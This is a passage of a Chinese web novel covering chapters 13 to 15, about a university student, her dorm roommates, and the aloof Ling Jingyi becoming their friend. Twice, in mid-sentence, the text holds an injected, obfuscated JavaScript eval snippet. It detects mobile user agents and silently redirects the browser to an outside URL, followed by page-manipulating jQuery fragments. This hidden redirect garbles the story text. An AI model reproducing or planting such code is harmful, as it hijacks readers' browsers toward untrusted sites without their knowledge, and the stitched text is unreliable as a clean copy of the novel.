曾经很多人觉得我很难接近,实际上,我除了是个无敌的路痴之外,还有轻微的脸盲,不太能记得住人脸。为了避免尴尬,加上本来也不是多亲厚的性格,我通常选择跟人保持安全而合理的距离。至于李离能跟我成为死党,完全是因为她才不管我多么拒人以千里之外,一而再再而三地在我面前晃荡,直到我们从陌生人变成死党。说起来,这一点,刘小叶倒是跟她有点像。 “嗨,又见面了。”萧楠直直地望着我的眼睛说。 叶翔看看他,又看看我,从他微微上翘的迷人嘴角里挤出几个字:“你们认识?” 我愣了一下,很久之前的一幕从我脑子里闪过,可我不太相信他还能记得我,就像我也不相信我竟然还记得他一样。 我们不算认识,如果硬要说有任何交集的话,还是因为李离硬拉我去的一场比赛。她为了证明这三个人的魅力所向披靡,在学校开运动会的时候生拉硬拽把我拖到了运动场。 我一向信奉“生命在于静止”,运动会的三天对我而言本来是找个树荫下读闲书和杂志的好时间——初中三年的运动会我读完了博尔赫斯所有的作品和十几本时尚杂志。我妈经常感慨,如果我把读闲书的劲头放在学习上,那什么S大、甚至常青藤都不在话下。实际上,尽管每次小考我都轻松考第一,但一到大考,我的成绩就像瀑布一样飞流直下。我妈早就知道并且已经习惯,可她总归还是对我抱有一些不切实际的幻想。这大概是全天下孩子们的梦靥,父母从来不肯正视我们在某些他们所期冀的方面真的毫无天赋。 我读闲书速度极快,李离一直质疑我只是快速地翻阅,根本都不知道书上写了什么。所以当我完整地复述出我所读的内容时,她总是一脸绝望地哀叹:“天呐,人和人的差距怎么会这么大?” 李离是那种即使一本书读了三遍,还是不知道在说什么的人。就算是像《爱丽丝梦游仙境》这样有趣、跟晦涩难懂没有一毛钱关系的读物,李离在看完一遍之后仍然只知道有个小女孩和一只公兔子。有一天她问我“为什么艾米莉一会儿大一会儿小”,我一脸疑惑地问,“谁?艾米莉·勃朗特?”,她回答说是有只公兔子的那个主人公,我差点没有当场昏厥过去。对于这一点,我觉得很诧异:按照她这智商,居然每次考试都在年级前三,竟然还考上了清大读法律,这已经超出了正常人类能够理解的范围。 “小西,你就是一款移动人型听书软件。”李离对我的评价很鬼畜,而我则认为她是“无敌的考试机器”,嗯,也没好到哪里去。 尽管如此,并不妨碍我们之间自得其乐。每年都是我读我的闲书,她看她的运动会,然后在吃午饭的时候她不停地跟我播报同一年级各个班级的战况。 李离是忠实的本班级拥护者,比拉拉队喊得还起劲,对于其他班级的运动健将一直不屑一顾。 “李离,班主任真该给你颁发一面锦旗,作为对你爱岗敬业的表彰。” 每次她兴奋地描述我班健儿的英勇无畏以及其他班运动员卑鄙无耻窃取胜利果实时,我只能深深叹一口气,无可奈何地任由她抒发她对班级的热爱之情。实在忍不了就会跟她辩论。一旦我放弃我的批判性思维,李离将会像祥林嫂一样把同一场比赛给我播报七遍以上,以便于我身临其境地感受她的情绪巅峰。 但高一这一年的运动会,因为三个名字——叶翔、萧楠、陆亦,成为了例外,班级荣誉败北:李离对班级的热爱在巨大的荷尔蒙刺激下彻底下岗,她恐怕连我们班的赛场在哪里都不知道。每天她都挤在一堆满脸红心的姑娘里,跟她们一起声嘶力竭地为那三个人加油打气。在此之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997349|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前,我从没想过李离也会有花痴的一天,当然,我也从没想过自己会破天荒地出现在那个陌生的观赛场上。 一到运动会赛场,我就开始发晕,简直要被巨大的声浪震晕过去。 我们到现场时,正好是最引人注目的4X400米接力。据说每一年这一项都无比激烈,田径队的高手都在这一场比赛里争长论短,热力喷洒火花四溅。今年的比赛,更是因为他们仨是一队而获得了空前的关注。 叶翔是第一棒,他跟第三赛道的选手之间距离咬得很紧。我的鼓膜被一波又一波的“叶翔,加油”,“叶翔最棒”冲击,震得耳朵生疼脑袋发胀。这还不是高潮。作为最后一棒的萧楠拱起身体在赛道上等待,而第三棒的陆亦奋力向前冲刺时,整个赛场上整齐划一的呼喊声和振聋发聩的尖叫声,都为了萧楠,仿佛其他的选手只是陪衬,甚至有个女生因为过分激动而晕了过去。最后萧楠以一个身位的优势冲过终点,喝彩声响彻云霄,胜利的气息像一圈圈的涟漪一样在空气里荡漾,女生们把鲜花和彩带扔向空中。当它们落下的时候,我有一种恍恍惚惚的错觉,仿佛这一天是她们人生中最值得纪念的日子。 萧楠向观众挥了挥手,姿态慵懒随意,狂热和欢呼好像都与他无关。他擦了擦汗,拧开别人递过来的水轻轻抿了两口,好像刚刚率先冲过终点的人并不是他。他的平静,与赛场上的热烈形成了巨大的反差。不知道是胜利对于他稀疏平常,还是他根本就不关心自己能否夺得胜利。 在那一刻,我的视线胶着在他的脸上——我总是对外表与内在完全不一样的人和物有着莫名的好奇。他一个回眸,对上我的眼睛,可能是因为我的平静与周围的狂热格格不入,又或者我的平静与他的淡泊交织应和,有一丝诧异在他眼中快速划过。 我们就那样平静地对视着,本该带着探究,但彼此都没有任何行动。 然后,叶翔、陆亦走上来,他们用手肘撞了撞他的手臂,叶翔向着四面八方的热情挥洒倍数级的热情。在一波又一波的欢呼声中,他们勾肩搭背地走向了休息区。 我以为那只是一个不占用脑内存的一瞥,没想到,他竟然还记得我。可我并不想跟他有任何的关系,帅哥这种生物太麻烦,一旦跟他们沾上边,就意味着安乐时光的终结,看看凌静宜就知道了。 我摇摇头,“我不认识你。” 萧楠并没有任何的异样,好像一切都在他的意料之中。他的眼睛里藏了笑意,“我是萧楠,就读S大,大四。” 刘小叶她们两个挤到我旁边,一副劫后余生的样子。刘小叶在我身上摸来摸去,“小西,你没事吧?”我拍她的手,“别趁机吃我豆腐”。话音还没落,刘小叶的手正好搭在了我的胸前。 我这一嗓子,毫不意外让他俩的视线落在了刘小叶不安分的爪子上。他们全都面红耳赤。 “今天谢谢你……们。”我尴尬地准备拖着她们俩赶紧撤退,万万想不到,我周小西会碰到如此想钻地洞的情形。当然,我更没想到的是,社死现场以后会高频地在我的人生里不断出现。 刘小叶感觉自己像是在坐过山车,刚刚她还紧张得要死,生怕小西被揍。现在她们却跟两个极品大帅哥站在一起,这么大的福利从天而降,她有点懵。有句话怎么说来着,啊,对,人生处处有惊喜。 萧楠没说话,倒是叶翔在旁边问:“你们是凌静宜朋友?” “室友。”刘小叶欢脱地应了一句,遭受到了我和许苑薇的白眼。 叶翔看看萧楠,再看看我,然后问:“你是?” “哎……你不是追凌静宜吗?打听我们家小西干嘛?”刘小叶一下挡在我前面,警惕地看着他,好像他是洪水猛兽一样,“长得帅就想脚踩两条船啊?” 叶翔双手交叉,搁在后脑勺上,看着我们没说话。我的脸上发烧,如果有个地洞我会立刻躲进去。这简直是自取其辱,人家看过的美女肯定比我做过的习题还要多。 我尴尬地笑了笑,拉了拉刘小叶的衣摆。她喊了一声,“你拉我干嘛呀”,成功地让我想要立刻马上化成一缕青烟消失。 我向许苑薇使了个眼色,她立马心领神会,跟我一起连拉带拽地把刘小叶拖了出去。 叶翔望着几个姑娘离开的身影,对着萧楠露出一个鄙视的眼神,“老三,你怎么这么怂呢?连人家女生名字都不敢问。” 萧楠给了他一拳,毫不客气地回敬他,“你以为都跟你一样,种猪!” 叶翔反手迅速一拳捶了回去,“说什么呢你,我可清白着呢。我都快成修仙的老道士了,你知道的,从高中之后,一门心思都扑在学业上。上了大学,也是远离女色……” 萧楠挑起眉毛,从鼻子里冷哼出一声,用眼睛的余光瞄了他,说:“叶翔,你每次为自己找借口的时候,都是长篇大论,恨不得引经据典。说实话,你远离女色还不是因为没你看得上的?” “你不好色?你不好色,刚刚对着那姑娘两眼冒绿光?”叶翔从鼻子里哼了一声。 听上去这两个人互相嫌弃,实际上当他们勾着肩膀走出食堂时,讨论的内容已经变成了“伙计,这次我们得并肩作战了,居然喜欢同一个宿舍的姑娘。” 只是他们并不知道,在他们肆无忌惮地展现彼此之间牢不可破的兄弟情谊时,铭盛的腐女们又一次以他们为蓝本,勾画杜撰着他们之间缠绵悱恻的爱情故事。甚至有传言叶翔的恋人听闻他跟一个女生有暧昧,特意从外校跑来宣告主权。她们宁愿相信叶翔是弯的,都不愿意他被女生抢走,真是可怕的同性嫉妒心啊! 14. 第 14 章 食堂事件过去大概一周,我已经把它当作过去式了。没想到,在凌静宜那里,它是过去进行时。 周四下午,我和刘小叶上完万恶的高等数学,回到宿舍的时候脑容量接近负数。 凌静宜穿着一身黑,脸上画着精致的妆,像灭绝师太一样在客厅正襟危坐。她在电脑键盘上一顿敲打,噼里啪啦的声音里透出怒气。重重敲打键盘的声音,有一种把人生吞活剥的气势。 我和刘小叶交换了个眼神,深感初中时候学到的一句英文是至理名言——Don’t trouble troubles until trouble troubles you. 在麻烦没有找上门之前,迅速逃离现场是最佳方案。我们俩蹑手蹑脚地钻进了房间。然后,我听见郑筱和许苑薇也关上了房间门。 整个宿舍里的气压很低,平时咋咋呼呼的刘小叶很识相,在房间里一声不吭,我感觉如果可能的话,她甚至会捂住自己的嘴巴,让呼吸都停止一会儿。 然而,麻烦并没打算放过我。 大概过了十几分钟,凌静宜敲了敲我们的房门,“周小西,你方便出来一下吗?” 我的心头咯噔一下,在大脑里搜索什么时候得罪过她,然而一无所获。刘小叶对我报以无限同情的目光,仿佛我是去接受审讯,一旦确定罪名马上就地正法。感觉耳朵里嗡嗡作响,我狠狠地鄙视了自己一下,周小西,你个怂货,只不过是凌静宜,她跟你同龄,就算看上去杀气腾腾,但她还真能吃了你不成?我故作镇定,可走出去时腿微微打颤。 凌静宜端着红酒杯,整个人窝在沙发上,抬头看了看我,问:“要不要来点?” 我瞄了一眼放在地上的瓶子,90年Petrus,相当不坏。随后脑子里闪过一个念头:在学校里还能喝酒?醒酒器里还有不少酒,看起来要一醉方休的架势。管他的,反正在宿舍,喝醉了也没事,谁怕谁?我从壁橱上取了一个玻璃杯,倒了1/3不到的位置,喝了一小口,然后坐在沙发的另一头,跟凌静宜大概隔了两个靠枕的位置。 她斜了我一眼,“坐那么远干嘛?我又不会吃了你。” 凌静宜好像能读懂我心里在想什么一样。她平时只是冷漠,可此刻她略微扬起脸,斜着眼睛看我,让我觉得心里瘆得慌,仿佛审判。 我鼓足勇气盯着她妆容精致的面庞,思绪发散:这都下午五点半了,她的整套妆容居然一点儿都没花,是不是人啊?脸上一点儿油都不出?这个眼线怎么能画的这么自然?没错了,凌静宜肯定是修炼了上千年的蛇精,不然像我这样也算见过世面的,怎么会在她面前一点儿架势都拿不出来?甚至在她一个凌厉的眼神之下,恨不得自己变成隐形人。 借着胡思乱想,我没那么紧张了。深吸了一口气,往她坐的方向稍微挪了一点,说:“没有啊,我习惯坐沙发边。” “嗯……再往旁边一点,你就可以直接坐地板上了。”她看着我,开始亮出毒牙,“那天在食堂的事儿,我听说了……” 啊!原来是那件事!我有一种“终于死得明白”的感觉。这是打算兴师问罪? 无数个念头在我脑子里像烟花一样绽放。 ——她很生气,没错,她应该生气!任何人被无端诬蔑都应该生气; ——我们关系一般,我为什么要为她出头; ——我又没把汤泼到她脸上,那天的行为不说功在社稷,也算为民除害,我怕个屁啊; ——或许,她也不喜欢我多管闲事,换做是我,也不喜欢别人无缘无故插手我的事情。 从小我就坚定地认为,人和人之间都是有界限的,如果有人打着“爱我”“为我好”的名义强行干涉我的事,我会恨得牙痒痒而不是感恩戴德。从这一点上来说,我妈总骂我“小没良心的”似乎也不是完全没道理。 那天在食堂的时候,我压根不觉得自己有任何错,可现在面对凌静宜,不知道为什么,我却觉得有些心虚。 我深深吸了一口气,努力想怎么解释才不会让她继续亮出她的毒牙。 她喈了一口酒,品了品,停顿了几秒钟,似乎在斟酌,“你没必要为我出头……什么时候有空,我请你吃饭。” 我看了她一眼,偷偷吐出一口气,感觉漂浮在半空中的心终于归位。我都没意识到自己的语气有多么轻快,“不用了吧。事实上,我不是为你出头。” 说真的,跟她同桌吃饭,到目前为止,还没出现在我的计划中。 看来这个答案在她的预设剧本之外,她诧异地望着我,好像看见鲍鱼出现在路边摊一样,半天没有说话。 我抿了一口红酒,接着说:“我只是不爽那个庄子羽说话的嘴脸。”然后,心满意足地看着她,略微有些得意——感觉自己在这场对峙里扳回了一局。 “谢谢你。”她的手指在红酒杯口来回摩挲,迟疑地吐出三个字。 我一口酒差点呛在喉咙口,我没听错吧?凌静宜跟我道谢?这跟我脑子里的剧本走向完全不同,像她这样的千年妖精,居然也会跟人说谢谢! 曾经,我以为在她的字典里,“你好”“谢谢”“再见”都是不存在的,这些词太平常了,平常到不太可能从她涂着Tom Ford的嘴巴里说出来。后来发现,往往她说“你好”“谢谢”“再见”的时候都只是礼节性的,轻而易举一带而过,不掺杂一丝一毫的感情色彩,对她而言,那不过是几个单词罢了……曾经,我也是这样,对于无关紧要的人,无关紧要的事,说无关紧要的“谢谢”“再见”。 我看着她,想确认这不过是一个礼节性不带任何真实意义的单词,意外发现她很诚恳。 她见我没说话,用手拨了拨头发,问:“很意外?” “我要说不,你大概也不会相信吧。”我露出无所谓的表情,把剩下的一小口红酒一饮而尽。 她看着我,突然笑了。如果我没有看错的话,她的笑里面有一种如释重负,“这样啊……很好。” 在这一刻,我才意识到,尽管我看上去跟她完全不一样,可我们在骨子里是一类人:不想跟别人太过接近,如果可以用钱搞定,我们会毫不犹疑去做,最怕欠别人的情。 “别放在心上。”我拎着酒杯去厨房,“那个女的太让人讨厌,换做是你,也会替天行道。” “不管怎么样,我欠你一个人情。”她的声音从背后传来,我的头皮一麻。 如果她跟我是一类人,如果她认定欠了我的情,就会想尽办法还清。讲真的,我不知道凌静宜会做出什么石破惊天的事情。我跟她不在一个段位,如果说她是白素贞,那我估计是没幻化成人的小青蛇。 算了,对想不明白的事情,我还是不浪费时间去想了。往房间走时,我已经放弃思考凌静宜会做什么,转而构思《N.Z》专栏文章的结尾。 我猛地拉开门,刘小叶“哐当”一声从门板上摔了下去:她一直趴在门框边偷听,也不知道隔这么远能听到什么。凌静宜朝我们这边看了一眼,哎……丢人丢到家了。 “小西,我没听错吧?”她迅速从地上爬上来,顺便脚一勾关上了门,丝毫不介意偷听被抓了个正着。不得不说,狗仔队绝对是最适合她的职业。 她满脸疑惑的表情,“虽然这件事,凌静宜向你道谢也没错啦……可真从她嘴里说出来,我总觉得‘我肯定听错了’,‘这不是真的’,感觉很怪异……” !!!她这听力,真不考虑去国家情报局吗? 我看了她一眼,怀疑凌静宜是不是给我们集体洗了脑? 我们俩就这件事情聊了一个晚上,没有讨论出任何有用的结论。用刘小叶的话说,并不是每一次伟大的谈话都会有结果。我真想掐死她,要不是跟她聊天,我就不用苦哈哈的大半夜还在赶稿子了。她倒是四仰八叉躺在床上,发出一阵梦呓。 从凌静宜找我谈话那天起,我们之间的关系起了微妙的变化。她依然忙碌而神秘,可我总觉得,她有意在接近我们。 一个异常晴朗的中午,蓝得像加了滤镜的天空里飘着几朵雪白的云。偶尔一阵风,云朵从教学楼一边飘向另一边,一派悠然自得的闲散模样。 刘小叶在寝室里例行报菜名,她正宣扬“第一食堂居然出了麻辣烫锅仔,还有新疆大盘鸡和东北大拉皮这种极具地方特色的新菜式,我们要不要去试试”,凌静宜突然问:“我能跟你们一起去吃饭吗?” 所有人都愣住了。 许苑薇吞咽了一下口水,却不小心把自己呛到了,她艰难地说:“刚才……是说要跟我们一起吃饭?我没听错吧?” 刘小叶也是一副不可置信的表情,她摇了摇我的胳膊,像呓语一样嘟囔:“小西,你掐我一下,我不是在做梦吧?” 陈梦晓走到她面前,说:“不如我来吧。”顺便撸起了袖子。 刘小叶尖叫着躲到了我身后,“我只是随便说说的……小陈哥,你真的要对我下毒手吗?” 郑筱站在旁边,捋了捋头发,抿了抿嘴,没有发表任何意见。她的眼睛往下垂了垂,左边的嘴角轻轻抬了抬。只是短短的一瞬,我再看过去的时候,她展露的笑脸甜美且完美,甚至能看到那颗俏皮的小虎牙。 她挽起还在发懵的许苑薇,轻嗔了一句:“咱们还吃不吃饭啊?” “噢,对!再不走就没饭吃了。”只有吃的能够唤起刘小叶的运动细胞。她扯住陈梦晓的袖子火速向外走,好像刚刚在热烈讨论的是另一拨人。 凌静宜有些茫然,更多的是尴尬。似乎没有人同意也没有人反对她的提议,她生平第一次体会到“无视”这个词语的真实含义。她站在原地没有动。 我经过她身边,瞄了她一眼,问:“还愣着干嘛?不是说一起吃饭吗?” 很久之后,我回想那一天她的表情,还是忍俊不禁。谁能够想到那样的表情会出现在大名鼎鼎的凌静宜脸上——错愕、惊讶夹杂着丝丝欢喜雀跃。恕我才学浅薄,时至今日,我依然没办法准确形容出她在那一刻的表情。就好像是在极端失望的情况下突然获得了巨大的希望?也不准确,没有那样的大悲大喜。凌静宜的情绪都是细微的内敛的,优雅得仿佛带着面具,那天像是在面具上撕开了一个口子,然后……逐渐皲裂。 我们坐在了同一张桌子上用餐,气氛一度有些尴尬。准确来说,我们彼此之间不知道该如何交谈。谈学习?刘小叶恐怕即刻吃不下饭了。谈理想?算了吧,到底是吃饭还是添堵?谈最近热门的电视剧,会不会显得我们太肤浅了? 刘小叶从来没像今天这样认真对待食堂大厨的劳动成果,陈梦晓好像柳下惠一样目不斜视,许苑薇似乎还没从震惊中缓过神来,郑筱撇了撇嘴,把刚刚塞进嘴里的青菜吐了出来。我有些坐立不安,算不上社恐,可社交技能也欠奉,是另一项没能继承爸妈优秀基因的短板。 我们旁边的几张桌子,有些人埋头苦吃,有些人时不时地瞟我们几眼,还有些人按捺不住低声讨论。 毋庸置疑,凌静宜跟我们一起吃饭,这件事本身就可以登上“铭盛八卦周刊”的封面,她应该从来都没在食堂吃过饭吧?我其实还挺好奇她原先都去哪里吃饭。 “你要不要吃一块排骨?”许苑薇像电脑开机了,突然指着自己盘子里的红烧小排,小心翼翼地问凌静宜。 “好啊。”凌静宜伸出筷子,从许苑薇的餐盘里夹了一块小排骨,又从自己的餐盘里夹了一只虾给她。 许苑薇像一只受了惊的小兔子,一动不动,大大的眼睛里却闪着亮晶晶的快乐。 凌静宜问:“还有谁想吃虾?” 除了我之外,她们几个的眼珠子差点掉到餐盘里,这真的是她们认识的凌静宜?不过说实话,对于她,大家本来就知之甚少,所谓的认识,不过是认得这张脸而已。 善意就像是王子亲吻白雪公主额头那一瞬间所产生的奇迹,万物复苏,春回大地。她俩对彼此的善意如暖暖的太阳一样,让一直紧绷着的姑娘们冰雪消融。从我们分享彼此的食物开始,魔咒被打破了。 刘小叶叽叽喳喳分享各种八卦,而我们七嘴八舌天南地北地讨论老师和各种奇葩事件。凌静宜偶尔蹦出来的几句话让我们大跌眼镜,我再一次默默肯定她是一只张牙舞爪的毒蝎子,只是平时藏得极好,让人误认为她是离群索居的丹顶鹤。 凌静宜就这样莫名其妙加入了我们。 我们六个互相等来等去,只为了一起去吃饭。我们的上课时间不同,在没有任何人提议的情况下自然做了分工:刘小叶提前播报菜名让大家决定去哪个食堂吃饭,早下课的结伴去食堂占位置和买饭菜,其余人下了课汇合。通常周一和周三是我和刘小叶占位置,周二和周五是郑筱和许苑薇,陈梦晓和凌静宜排在了周四。我们的生活变得无比规律。 晚上我窝在床上码字,刘小叶敷着面膜躺在床上,不用问,她又在跟欧祈微信聊天。我明令禁止她用语音,天知道他们俩会说出什么肉麻的对白。 她突然翻个身趴在床上,喊我:“小西,你在忙吗?” 我一边在键盘上奋笔疾书,一边问:“怎么了?” “你有没有觉得很神奇,凌静宜居然跟我们混在一起了,这些天我觉得跟在做梦一样。”随着她大幅度的动作,还没有干的面膜膏体差点从她左脸颊滴下来,她把那一块面膜重重地按回脸上,我真为她的脸摊上这样的主人悲哀。 我停下来,因为刚刚打过的字,我左手的无名指停在字母S上。 “很神奇吗?”我想了想,跟这短短一个多月发生的所有事情相比较,似乎也不算太奇怪,“跟陆亦追小陈哥相比较,哪个更神奇?” 刘小叶大叫一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997350|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声:“我都快把这事儿忘了!” 她从床上弹起来,没去卫生间把海藻泥洗掉就冲进了陈梦晓房间。凌静宜正好从我们房间门口走过,她抚着胸口问我:“刚刚冲过去绿呼呼的一团是什么?绿巨人?海藻怪?” 刘小叶穿着墨绿色的珊瑚绒睡衣,跟海藻泥一个色系,在昏黄的灯光下确实有点吓人。我突然同情起陈梦晓,希望她今晚不会做噩梦。 我抬头看屏幕,在刚刚的文字后面出现了“生生世世”四个字。我打了个哆嗦,老实说,我对于永恒这件事情从来都不相信,但所谓永恒的爱情之类无疑是广大少女们心目中无法变更的主旋律。李离曾经间歇性吐槽说我大概心里住了个四百岁,哦,不,是四千岁的老妖精。用她的话说,少女怀春才是人间正道,不犯花痴的都不正常。我不置可否。 在陆星洺的笔下,会出现亲情友情,但爱情……这是个我太过陌生的领域。编辑曾旁敲侧击地打探后续是否会出现感情线,可我脑子里一团乱麻——喜欢一个人是什么感觉?有人会爱另一个人胜过自己?真的有人会为了另一个人放弃自由甚至生命?这些我都不能理解。难道爱情不是荷尔蒙作用导致的间歇性混乱?可那样的混乱不会成为常态,随着长大成熟,人类会逐渐从那样一个无序状态里摆脱出来,然后——虽然可能一头扎进另一个无序状态,但最终都会清醒过来。 我干脆利索地删掉那四个字,继续敲了两行之后,关上了电脑。可当我躺下的那一瞬间,那几个字却像是咒语一样在脑海滑过。 风吹着白色的窗帘缓慢摇动。刘小叶还没回来,她大概在对陈梦晓进行威逼利诱。我爬起来关窗户,昏黄的路灯下,一对男女紧紧地抱在一起,似乎要把自己嵌进对方的身体里。如果说我们的人生是由幸福和悲伤的齿轮咬合着交替前行,那么,在这个时刻,他们一定有着我所不能理解的巨大欢喜。他们的心声可以外放的话,必然是非常欢快的乐章。倾泻而出,铺满整个大地。 我木然地关好窗户,将寒冷隔绝。他们不冷吗? ——我们永远都没有办法感同身受。我们永远都觉得只有自己感受到的才是真实。这就是世界运行的法则,残酷而真实:我们的感受和别人的感受从来不是同步存在的,在我们欣喜万分的时候,也许有人正在地狱里挣扎;而在别人兴高采烈之时,我们或许正处在人生的低谷。就算是在同一份喜悦或痛苦当中,每个人的感受也都不同。 我回到床上,翻个身继续睡——幸福是什么这种深奥的哲理,靠想大约摸是想不明白的——不如睡觉。 说不清是凌静宜融入了我们的生活,还是我们融入了她的。我们一起在客厅待着的时间越来越长,课余生活逐渐丰富起来。比如现在,当我和刘小叶打开寝室的大门时,都被眼前的景象深深折服。 纯黑色的Iphone手机扔在桌子上,旁边放着飞利浦的蓝牙迷你小音箱,跟着《蓝色多瑙河》的旋律把自己身体快折叠成两半的凌静宜微微喘着气,顺着脸颊流淌的汗水跟她身上的紧身V领露背运动服一起,冲击着我脑海中的性感极限。 她把自己的身体固定在极其扭曲的瑜伽动作上,我偶尔做瑜伽,可我想不到人体竟然可以扭曲到这种地步。刘小叶的嘴巴张得可以一口塞下个大肉包。况且用《蓝色多瑙河》做瑜伽背景乐,凌静宜可以算前无古人后无来者了…… 她抬头看见穿着破洞牛仔裤的我们(刘小叶在我的熏陶之下,终于放弃了她的大妈品味),居然还可以腾出一只手撩了下头发,微喘和暗哑的声线无比诱惑,“你们不来吗?” 幸好我不是男人,否则看到这个景象,难保不会流鼻血。这感觉,就跟一个性感女神对着血气方刚的少年无比妖娆地宽衣解带一样诱惑。我的妈呀,我的脑子里都在想什么?照这样下去,我都可以写小黄文了,那样估计我会被《N.Z》封杀。 刘小叶摇摇头,她比我还忠实拥护“生命在于静止”,我只是不爱跑步游泳这些剧烈运动,她连动一下都觉得费劲儿。所以,我迅速地加入了她,而刘小叶迅速地奔向了她的床。过了二十分钟之后,陆续回来的郑筱和许苑薇也加入了我们。 陈梦晓拿着钥匙开门进来,差点没一屁股坐在地上。我们以各种奇形怪状的姿态盘在地上,特别像盘丝洞里的蜘蛛精现出真身的样子。 后来,陈梦晓和刘小叶就见怪不怪了,她们俩经常在我们中间穿行,陈梦晓甚至跨越过我们的身体去开冰箱拿饮料。天知道怎么会有人在大冬天还喝冰可乐,我一度怀疑她会不会有游冬泳的爱好。 在第二年的冬天我才知道,陈梦晓真的会在冬天去游泳。而她之所以去游冬泳,是因为冬天没有姑娘会去游泳,所以她不会被游泳馆管理员赶出来。真是一个悲伤的故事。 为了让大家能一起做瑜伽,凌静宜又买了两块毛毯。如果有人在我们做瑜伽的时候走进来,她肯定会觉得自己走进了座山雕的土匪窝,地上雪白的毛毯像极了上等的狐狸皮毛。 练习了一个半钟头之后的中场休息时间,我问凌静宜:“用《蓝色多瑙河》练瑜伽,不觉得有点怪吗?” 她好看的丹凤眼迅速地挑起来,扫了我一眼,说:“我考虑过用 《悲怆》和巴赫G大调……” 我确认她是认真的,迅速制止了她的奇思怪想,“没有比《蓝色多瑙河》更合适的了。” 刘小叶在旁边掺合,“你们还不如用《小苹果》呢,多欢快。” 凌静宜白了她一眼,说:“今晚就拉你去跟大妈们一起跳广场舞。” 我的后背一阵发凉,脑海里浮现凌静宜跳广场舞的盛世景象,忍不住打了个哆嗦。自从我们混在一起之后,我才发现,凌静宜才是最豁得出去的那个。刘小叶跟她比起来,连小巫都算不上。她的冷漠脸,跟一张厚重的面具没什么区别,扯下来之后,才知道她是最食人间烟火的那一位。真是见了鬼了,对这样的凌静宜,我反而觉得很亲切,尽管她时不时打击得我们满地找牙。 随着我们内部实现大和谐,与外部的矛盾却显山露水。 在接下来的日子里,我们宿舍成了铭盛所有女生的公敌。继叶翔正式打响了追凌静宜的战斗之后,陆亦经常借口篮球赛来约陈梦晓,传闻英文系的大才子也频频向郑筱递送橄榄枝。这无疑让我们处在了风口浪尖上,据说她们把我们宿舍叫做狐狸洞。 凌静宜不屑一顾地说:“狐狸洞?真该让她们来观摩下我们的瑜伽姿势,明明是盘丝洞好不好?!” 刘小叶狂点头表示赞同,“我们干脆在门口挂个牌子,上面写上盘丝洞得了。” 我们几个大眼瞪小眼,陈梦晓对着刘小叶来回打量,问:“有这么丰腴的蜘蛛精吗?”惹得刘小叶满屋子追着陈梦晓跑。 我们从来不担心,就小陈哥的体力,三个刘小叶都追不上。 15. 第 15 章 刘小叶一口咬定全校最好看的女生都在我们宿舍,实际上除了她之外,我们都没有男朋友。 在无数次孜孜不倦八卦之后,她发现我的感情经历一片空白。然而她并不罢休,屡次明示为了避免出现我们没有靠山的情况,我应该尽快在铭盛物色一个男朋友。 “上次在食堂英雄救美的那个,就很不错嘛。” “哦,那个人是S大的。”我不费吹灰之力就找到了她的逻辑漏洞。 “咳……学校什么的,别卡那么死。” 这很刘小叶,双标大户。 她终于发现攻克我是不可能的任务之后,嘟囔了一句:“读大学都不谈个恋爱,这大学真是白上了。”转头开始了对许苑薇的纠缠。我能说,如果她不做狗仔队,还能去搞婚恋吗? 在刘小叶的死缠烂打之下,许苑薇终于承认她有个交往甚密的笔友。这何止是发现新大陆,简直跟天方夜谭一样。现在是21世纪,在电脑和手机都已经成为日用品的年代,在微信已经彻底改变了所有人交流方式的今天,居然还有人写信!! 刘小叶用看史前动物的眼神上上下下,前后左右扫视了许苑薇三十秒之后,爆喊了一句:“许许,你真是一朵可爱的奇葩。” 我正在喝的酸奶不受控制地从鼻子里喷了出来。这真是人生的奇耻大辱,我从来没想过酸奶会以这种姿态自由落体。幸好没让我妈看见,否则她肯定会说服我爸开一家礼仪培训学校,然后亲自撰写课程,制定全年无休24小时培训计划,把我折磨成大家闺秀。 我们想当然地认为在我们生活的互联网年代,便利快捷已经成为了大多数人的追求,还有谁会一笔一划正儿八经地写一封信?现代人大体没有“陌生花开,可缓缓归矣”的闲情逸致。所以,当我们费了九牛二虎之力终于说服许苑薇,让我们陪她去学校收发室取信的时候,刘小叶兴奋地就像要去原始森林探险一样。 她强烈要求替许苑薇拿信。从收发室大爷手里接过信,她马上掏出手机拍了照片,然后一本正经地问:“小西,我不是做梦吧?真的是手写的信哎……” “要不然我掐你一下。”我提出了一个中肯的建议,“或者给你一巴掌,这样你能迅速分辨梦与现实。” 我撸起袖子,准备迅速而准确地掐住或者拍打她婴儿肥的脸颊——刘小叶的脸圆嘟嘟的,手感Q弹Q弹的,像极了广告里抖动的果肉果冻。 刘小叶火速用手捂住了脸,尖叫着躲到了许苑薇身后,顺便怂恿许苑薇拆信。(不得不说,她的多线程工作能力,真令人印象深刻。) “等等,等等,让我看看,还有张照片……”我探头去看,照片上的男生戴一副黑框眼镜,白皙斯文,眉目清秀。刘小叶眉飞色舞地指着照片说,“许许,是个帅哥哎……” 在回宿舍的路上,许苑薇一脸桃红甜蜜又羞涩。刘小叶在旁边看得心花怒放,“许许,你是不是也把照片给他了?哎呦,小许许要恋爱了。”许苑薇脸涨得通红,一把抢过照片和信,“你别胡说。” 刘小叶吐了吐舌头扮了个鬼脸,然后转向我,一副后妈脸,“小西,你能不能争点气?真是白长那么好看了……” 